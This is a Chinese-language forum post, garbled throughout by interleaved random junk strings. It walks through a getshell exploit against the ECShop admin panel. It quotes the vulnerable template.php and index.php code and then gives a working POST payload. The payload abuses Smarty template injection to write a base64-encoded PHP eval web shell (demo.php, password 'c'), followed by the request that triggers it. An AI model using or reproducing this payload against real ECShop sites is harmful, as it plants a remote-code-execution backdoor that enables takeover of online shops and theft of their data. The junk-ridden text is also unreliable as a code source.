首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
2 Q# G: T* d! ]. y( g* j& V1 }- H6 W) Z3 O- g4 {
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
8 m$ `8 U2 m9 J7 S7 D/ G但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
( w8 d+ V4 i0 Q# j7 _ ^admin/template.php
2 r% h! i! x" v
! D. S) q" D( X2 U: w& Q9 ]1 if ($_REQUEST['act'] == 'update_library')
; O& p K) a( p+ i, G% j& J1 g! m& D( f$ S; W) J$ P, X ~
2
; c' y7 ^! p: M' F7 y, X4 P) J4 L1 s4 @0 E6 M4 J% T' V" l
3 {
" \& C6 W, f* `4 ]0 k/ G2 Y [' I. o3 \# q- F! E6 Q+ f
4 check_authz_json('library_manage');
' z. J5 f& R# D
6 X' i; @6 G- I8 U5
% |: }. r9 N; O! F2 J0 v% `, X+ I
. J7 G* J# q8 d1 G6 $html = stripslashes(json_str_iconv($_POST['html']));
4 F+ i- J9 } w3 q8 Q" n7 y- \$ S0 y8 v. C. Q' S0 o, `
7 - T1 v4 C9 C# A$ }4 W y
5 ~) E; C% a1 o/ P. M8 P3 e8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 G8 a- o. |) W$ n# K, v
$ x, S; a3 X9 c# B- g9
$ _% m" f) j$ g) c$ G% Q; Q/ ^2 |$ F( ^& a" I
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 # U: O8 N: C1 \" n
0 O- S9 |7 l, H( z' R4 R( S11
/ }. l B P+ Y: V% n
! Y& ^, C3 e8 q) }1 ]/ O* @4 g12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); : I9 Q/ E _1 d% f8 a
$ h$ E* M0 }6 \3 j" H( Y" n: |; W13 2 r3 ^2 y ]# V" a/ a, l
- X9 R/ c, Z- I; z
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 8 u+ }0 W7 o$ Y9 @
! U/ T0 g. n: ?6 q5 y0 e; F15 {
2 ^+ W$ O& ^6 G1 `1 O1 Y6 {2 M3 m8 _2 O+ q# L5 j7 Z
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ; m9 `1 I, L! d8 K
7 ^+ W' n& } j% Z" s7 G) J( W17 make_json_result('', $_LANG['update_lib_success']);
7 B& V P& W# H5 e, J5 E$ P5 T4 Y/ S3 B* Q& a+ E4 x/ f7 ^
18 }
x( ~/ R. ~( ^, c) d( R% t( \( O% E3 b! F* D* E% Z6 [- H: d. d+ M
19 else - c" T4 p2 a$ a
2 C" a% V* U! X* Q8 }20 {
! K5 ^9 m% @; D+ V
9 e, E) G+ I* i0 o21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 4 p; e+ y' l8 \; d9 I# Z% X
& E8 I3 u' k/ V4 v22 } - G- B" y! p7 C) h1 N- }" `3 Y& @ Z
2 r2 _5 F% }" E
23 }
% @. ]6 l" T6 b0 ^4 e M0 [' N" m! u
* b7 C7 I) [+ L6 y9 j+ l; B; N: ^那么找个比较方便调用了模板的文件7 `2 D& p+ B4 i. A2 K/ [
index.php! Y. R, N; H2 G( Q: r
" t1 _+ @8 z. E/ B1 if ($act == 'cat_rec')
. ^' I: E0 J* {$ U9 k/ ?- o1 g8 d' k# t `3 k, t) w9 i
2
3 E! v b/ D' d+ ~# T" @& T9 X# e
8 T4 w n# V4 F0 N3 { - Q$ r# ^6 L7 g6 v7 p/ j
D1 a; c( U2 u! J2 v3 @$ U6 @4 / y, J2 W- N% D6 k( s5 e
1 P4 p2 n; @' S5 y! Q' a4 G5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
: _- k' U+ @' _$ f {: s/ N6 ~8 G2 H
6 & K6 p2 X1 O( D) X% |% ^& V
! U) ~0 {" B A7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 5 v8 \2 |: A& V5 a
3 D- o' [& j' K/ U+ e8 4 \/ r5 D1 i' P8 S
( l. C5 V) ~9 z6 v
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
! w/ {; U& v2 z3 z6 F) c6 a% Q/ _) {- _+ t' s) B5 Z5 P
10 + q- Z: E% W* |4 A1 x+ j2 ^
3 t5 b* i5 [! e
11 include_once('includes/cls_json.php'); " `# e7 ~' u+ I6 o2 U) O9 g
7 Q) `( t! k$ _% `: ?12
" T! n" X2 P8 G) m" k7 g2 ~
" k8 `% p2 {. A6 h2 m13 $json = new JSON;
5 n. k1 G F: Y8 G' I$ ]) T$ j& `, l
14
" a! v6 s* ~* i+ a3 g6 S+ _4 ~) l) F- d: }7 x
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
5 ^# e1 X( h! h; _
$ i2 z$ {' j( A# O' }16
# O" R4 D: p% k+ \
& W. R% H$ J# y17 $children = get_children($cat_id);
' B$ ]) a, z1 N( A, b/ `# s
9 ~% Z7 j0 @/ |! k8 v18
/ J& d1 D I1 A4 ?5 N6 b+ ]) s% Z
; x k+ Z- X @2 I) G19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 , u5 c: B9 d6 A5 A" n
8 l' v/ d Q3 p( S1 x+ N8 ~20 # Q8 m: l% x- t/ F. i
7 f( e3 U& F1 W# r+ w
21 $smarty->assign('cat_rec_sign', 1); ! Z# Q" T% F: G0 M
2 j3 E3 n$ }! Q& t2 F
22 / j5 S5 ^$ W, Y$ p( c
/ p [' r {/ ^) y8 Z5 b% v6 i. V
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best + G2 ?" E; T- r% y8 S& s6 L! [
/ Y+ j; ^& k- O, ]$ e24
! i* s( n c! b9 v$ J% g0 u' M; \ q) @2 D8 K
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ _' ^, F, U7 B! [6 f3 H% Y4 z* Y
0 }; _: t+ s- g: [0 |26
. d) j/ E) m: e* @/ l
9 E) m. X: }" ]" C5 `9 z: }27 echo $rec_array[$rec_type];
' F9 {0 x4 a; Y i$ F/ G
" t# _/ X, y" h+ B28 ; J0 x+ s& w" p( W. u0 \
7 e/ @$ X% k, i0 P
29 die($json->encode($result));
* A6 t/ `* @# A
0 Z U" h2 E0 J+ {) a- D7 B30 : J. l8 {( {) ]
' P6 i4 [6 s9 ~$ h: \31 }
; |2 s+ H1 N$ E9 @4 N9 X, P
% l3 M( s+ _4 f6 v; @& Z那么就有利用方法了
1 J! @. k& u- T7 G) ?post包到http://localhost/ec/admin/template.php?act=update_library
. r! Q: U, J5 E! W$ V# Q) k# CPost内容:5 @( U2 a. ?& h7 w' Z. o1 c5 b
$ c9 P) d/ u6 H" y3 N
' U% f* P* a3 t- L) u7 L& P
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} " L. M$ |: y6 e) H: K
+ \: @6 f8 i/ O0 @ R
然后访问http://localhost/ec/index.php?act=cat_rec
# h3 C" \8 r1 E; X ~ Y
& G+ }: \: u3 b7 K. L' p. t5 Fshel地址:http://localhost/ec/demo.php* X% K- A8 p5 @) O
密码c' k+ O! n+ b) `+ f* L* ^
% j# I) D$ C) r$ _ |